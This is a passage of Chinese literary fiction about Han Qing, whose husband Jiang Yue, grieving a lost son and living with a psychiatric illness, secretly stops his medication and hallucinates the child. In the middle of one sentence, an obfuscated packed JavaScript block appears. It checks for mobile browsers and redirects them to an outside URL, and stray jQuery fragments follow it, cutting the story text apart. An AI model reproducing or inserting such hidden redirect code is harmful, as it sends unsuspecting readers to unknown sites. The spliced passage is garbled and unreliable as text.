下班后，韩箐推开家门，屋里飘着红烧肉的香味，浓油赤酱的那种，是她爱吃的方式。


    江月从厨房探出头来，脸上带着笑，手里还拿着铁勺：“回来了？正好正好，汤马上好，你去换衣服吧。”


    韩箐在玄关站了几秒钟，目光扫过餐桌——两副碗筷，三盘菜，没有那只小熊形状的小碗，没有挂着蝴蝶装饰的小叉子。


    她换好衣服出来的时候，江月正把砂锅端上桌，热气腾腾的萝卜炖排骨。他摆好汤勺，抬头看她，眼神清亮而平静，像一池没有波澜的水。


    “今天是什么日子？”韩箐在桌边坐下，接过他递来的饭碗。


    江月笑了笑：“周五啊。你不是说这周累坏了吗？给你补补。”


    韩箐低头吃饭，排骨炖得软烂，红烧肉入口即化。江月不发病的时候，日子就像刚结婚那会一样过，或许也挺好。


    因为明天不用上班，吃完饭后韩箐和江月决定出门走走。


    他们沿着小区外面的步道慢慢走，初春的夜晚还有凉意，但风已经不刺骨了。路边的玉兰开了，白色的花瓣在路灯下泛着柔光。


    走过两个路口，江月忽然说：“要不要看电影？”


    韩箐愣了一下，扭头看他。江月正指着路边那家商场，顶楼电影院的大幅海报亮着灯。他们上一次去电影院，是多久以前？五年？六年？自从把儿童房改成娱乐室，韩箐就不常出门放松了。


    “你想看？”韩箐问。


    “嗯。”江月看着她，“不行吗？”


    没什么不行的。韩箐说：“好。”


    电影是一部新上映的科幻片，特效热闹，剧情一般。江月看得很认真，爆米花拿在手里忘了吃。韩箐偶尔侧头看他，他专注地盯着银幕，像个孩子。


    散场出来已经快十点了。商场里的人少了，电梯空荡荡的。江月忽然握住她的手，手心干燥而温热。韩箐没有动，任由他握着，两个人就这么安静地走进电梯，走出商场，走进夜晚的风里。


    回去的路上江月一直没松手。


    走到小区门口，保安亭里的张大姐已经下班了，换了个年轻人，低头玩手机没看他们。江月的脚步没有停顿，拉着她进了单元门，上了电梯。


    电梯门关上的时候，江月忽然开口：“阿箐，我想跟你商量件事。”


    韩箐看着他。


    电梯在上升，数字一格一格跳动。江月的声音很轻，但很稳：“我想停药。”


    韩箐的手在他手心里微微一动。


    “我知道你想说什么。”江月看着电梯门上他们的倒影，“但是阿箐，我今年三十二了，咱们应该……”


    电梯停了，门打开。江月拉着她走出去，站在走廊里，转过身面对她：“咱们或许应该，再要一个孩子？”


    韩箐看着他，声音比她预想的更平静：“之前那几次……”


    “我知道。”江月打断她，他的声音依然很稳，但握着她手的力度紧了一些，“我知道那些都没成，医生说可能跟药有关系。所以我停药，等身体代谢干净了再试。”


    韩箐没有说话。


    江月看着她，眼里的光一点点变得不确定：“阿箐？”


    韩箐很轻地抽出手，然后用那只手反过来握住他的指尖。她低着头看着他们的手，看了一会儿，才抬起头来。


    “宝贝儿。”她说，声音依然平静，“你不能停药。”


    江月的嘴唇动了动，没说出话来。


    “我也想要孩子。”韩箐看着他的眼睛，一字一字慢慢说，“但我不能拿你去换。你停药，然后发病，然后回到医院——我不能让这种事发生。”


    江月想说什么，最终什么也没说。


    韩箐握着他的手指，低下头，嘴唇贴在他手背上，贴了一会儿。然后她松开手，掏出钥匙开了门，拉着他走进去，关上门，把他按坐在沙发上，然后从茶几下面的抽屉里拿出那盒药，从里面挤出今晚的那一颗。


    江月坐在那里，看着她倒水，看着她走过来，看着那颗白色的小药片躺在她掌心里。


    “吃了吧。”韩箐把药片和水杯递过去，声音很轻，但不是商量。


    江月看着她，看了很久。然后他低下头，从她掌心里拿起那颗药，放进嘴里，喝水，吞咽。


    韩箐在他旁边坐下，把他的头轻轻按在自己肩膀上。江月没有动，就这么靠着，呼吸慢慢变得绵长。过了很久，她感觉到肩膀上有温热的湿意，一点一点洇开。


    她没有说话，只是抬起手，慢慢抚着他的头发。


    客厅里很安静，墙上的钟走得很慢，滴答，滴答，一声一声，像时间本身在努力证明自己还在向前。


    江月的声音从她肩膀上传来，闷闷的：“对不起。”


    “不用说对不起。”韩箐说。


    5


    周一早上韩箐出门的时候，江月站在阳台上看着她走远，直到她的背影拐过街角看不见了，他才转身回到屋里。


    客厅很安静，阳光从窗帘缝隙里漏进来，在地板上拉出一条一条的光带。江月站在茶几前面，低头看着那个抽屉——里面放着那盒药，剪成一小块一小块的铝箔板，按日期排好，今天的在第三排。


    江月弯下腰，拉开抽屉，把那片药拿出来，攥在手心里。铝箔板的边缘硌着他的掌纹，有点疼。他走到厨房，把药片扔进垃圾桶，压在几片菜叶下面。


    做完这件事，他在原地站了一会儿，心跳得很快，像做了坏事的小孩。


    但什么都没发生。窗外的麻雀还在叫，冰箱嗡嗡响着，世界照常运转。江月慢慢吐出一口气，洗了手，走到客厅坐下。


    他想，就先试一天。他想知道不吃药的世界是什么样的——或许即使昕昕还在，他也可以像正常人一样生活，可以和阿箐再要一个孩子。


    上午十点多的时候，江月在厨房切水果。苹果切成兔子形状，这是他以前常给昕昕做的，刀法还没忘。切到第三个的时候，他听见身后有脚步声。


    很轻的脚步声，小孩子的脚在地板上踩出的那种。


    江月手里的刀停住了。


    “爸爸！”那个声音从身后传来，隔了九年，隔了一层又一层的梦境和清醒，脆脆的，带着一点撒娇的尾音。


    江月没有回头，他握着刀的手开始抖。


    “爸爸你在切苹果吗？”那个声音走近了，“是给我切的吗？”


    江月转过身。看见昕昕穿着那件粉色的背带裤，就是走失那天穿的那件。他仰着脸看江月，眼睛亮亮的，和五岁的时候一模一样。


    江月的眼泪一下子就涌出来了。他蹲下去，伸出手，碰到那张小脸——是温热的，柔软的，虽然他知道是假的。


    昕昕被他摸得有点痒，缩着脖子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362955|198607||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑：“爸爸你的手好湿。”


    江月说不出话来，只是看着他，看着他的眉毛、眼睛、眼角的那颗小痣，看着他笑起来露出的那颗刚换的门牙还缺着。他看了好几秒，然后一把把儿子抱进怀里。


    昕昕被他抱得有点紧，挣了一下：“爸爸？”


    “没事。”江月把脸埋在孩子肩膀上，声音闷闷的，“爸爸想你了。”


    那天江月没有做别的事。他带着昕昕在客厅玩，玩那些收在储物间里九年的玩具。中午，江月做了昕昕爱吃的糖醋里脊，多放了糖。吃完饭江月带他去睡午觉，躺在小床上给他讲故事，讲着讲着昕昕睡着了，他就看着那张小脸一直看，眼泪流进枕头里也不知道。


    下午三点多的时候，江月看了一眼墙上的钟。


    韩箐六点下班，路上要四十分钟，最晚七点肯定到家。还有不到四个小时。他低头看着正在看动画片的昕昕。


    “昕昕，”他开口，声音有点涩，“晚上妈妈回来，你先躲起来好不好？”


    昕昕从电视上扭过头，不太明白：“为什么？”


    “因为……”江月顿了一下，“因为妈妈工作累了，我们让她好好休息。你乖乖在房间里，别出声，等明天妈妈上班了再出来，好不好？”


    昕昕想了想，点点头：“那我能看完这个吗？”


    “能。”江月说，“看完这个就去。”


    五点半的时候，江月把昕昕领到楼上那间改成娱乐室的房间。九年前那是昕昕的儿童房，后来他们把东西收起来，放了大屏幕和电竞椅。江月从柜子里翻出一床被子，在地板上铺好，又拿来几本图画书和那盒没怎么动过的蜡笔。


    “你在这里玩，”他蹲下来看着昕昕，“爸爸去做饭。不管听到什么都别出声，好不好？”


    “妈妈会知道吗？”昕昕问。


    “不会。”江月摸摸他的头，“妈妈不会知道。”


    他站起身，走到门口又回头看了一眼。昕昕已经趴在地上开始画画。阳光从窗帘缝隙里漏进来，穿过了他的身影，照在那张白纸上。


    江月关上门，在门口站了一会儿，然后下楼进了厨房。


    6


    韩箐推开家门的时候，屋里飘着熟悉的饭菜香。江月从厨房探出头来，脸上带着笑：“回来了？洗手吃饭吧。”


    韩箐在玄关站了几秒钟，目光扫过餐桌——饭菜已经准备好了，两副碗筷，没有那只小熊碗，没有蝴蝶小叉子。她换了鞋，走进厨房看了一眼，江月正用长筷子从锅里夹炸物，动作从容，神色平静。


    “今天做什么了？”她问。


    “没做什么。”江月把盘子递给她，“看了会儿电视，睡了午觉。你累不累？”


    韩箐接过盘子，看着他。他的眼睛有点红，像是没睡好，也可能是下午睡多了。她没问，端着盘子走到餐桌边坐下。


    吃饭的时候江月话比平时多，问她今天忙不忙，甲方有没有再提奇怪的要求。韩箐一一答了，偶尔抬头看他一眼。他今天好像格外轻松，眉眼舒展着，像心里装着一件高兴的事。


    韩箐没多问。她只是慢慢吃着饭，偶尔应一两句。


    吃完饭江月去洗碗，韩箐坐在沙发上，听着厨房里哗啦哗啦的水声，听着江月哼歌的声音——又是那首《小兔子乖乖》。她听了一会儿，拿起手机随便翻了翻，什么都没翻进去。